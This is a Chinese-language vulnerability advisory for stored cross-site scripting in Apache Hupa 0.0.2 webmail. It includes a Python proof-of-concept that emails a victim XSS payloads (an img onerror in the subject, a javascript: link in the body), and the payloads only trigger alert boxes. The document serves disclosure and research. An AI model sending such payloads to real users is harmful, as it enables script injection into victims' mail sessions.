发布日期：2012-08-21
更新日期：2012-08-23
受影响系统：
Apache Group hupa 0.x
描述：
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BUGTRAQ ID: 55098
Hupa是用GWT编写的基于IMAP的电子邮件客户端。
Hupa 0.0.2及其他版本通过邮件主题和内容传递的输入没有正确过滤即被使用，可被利用插入任意HTML和脚本代码，查看后可被执行。
<*来源：Shai rod
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Shai rod （）提供了如下测试方法：
#!/usr/bin/python
'''
# Exploit Title: Hupa Webmail Stored XSS
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage:
# Software Link:
# Version: 0.0.2
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar
About the Application:
======================
Hupa is an Rich IMAP-based Webmail application written in GWT (Google Web Toolkit).
Hupa has been entirely written in java to be coherent with the language used in the James project. And It has been a reference of a devloping using GWT good practices (MVP pattern and Unit testing)
Hupa is a functional and well designed email client, ready for reading, sending and managing messages, but it still lacks of many features email clients nowadays have.
Hupa Webmail Stored XSS in Subject
Vulnerability Description
=========================
1. Stored XSS in email subject.
XSS Payload: XSS POC<img src='https://www.linuxidc.com/Linux/2012-08/1.jpg'onerror=javascript:alert("XSS")>
Send an email to the victim with the payload in the subject field.
XSS Will be triggered in message listings (Inbox etc..).
2. Stored XSS in e-mail body.
XSS Payload: <a href=javascript:alert("AnotherXSS")>POC MAIL</a>
Send an email to the victim with the payload in the email body, once the user clicks on the url the XSS should be triggered.
'''
import smtplib
print "###############################################"
print "# Hupa Webmail 0.0.2 Stored XSS POC #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# #"
print "# For Educational Purposes Only! #"
print "###############################################\r\n"
# SETTINGS
sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "192.168.1.10"
smtp_port = 25
subject = "Hupa Webmail XSS POC"
xss_payload = """<img src='https://www.linuxidc.com/Linux/2012-08/1.jpg'onerror=javascript:alert("XSS")>"""
# SEND E-MAIL
print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("AnotherXSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
建议：
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厂商补丁：
Apache Group
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：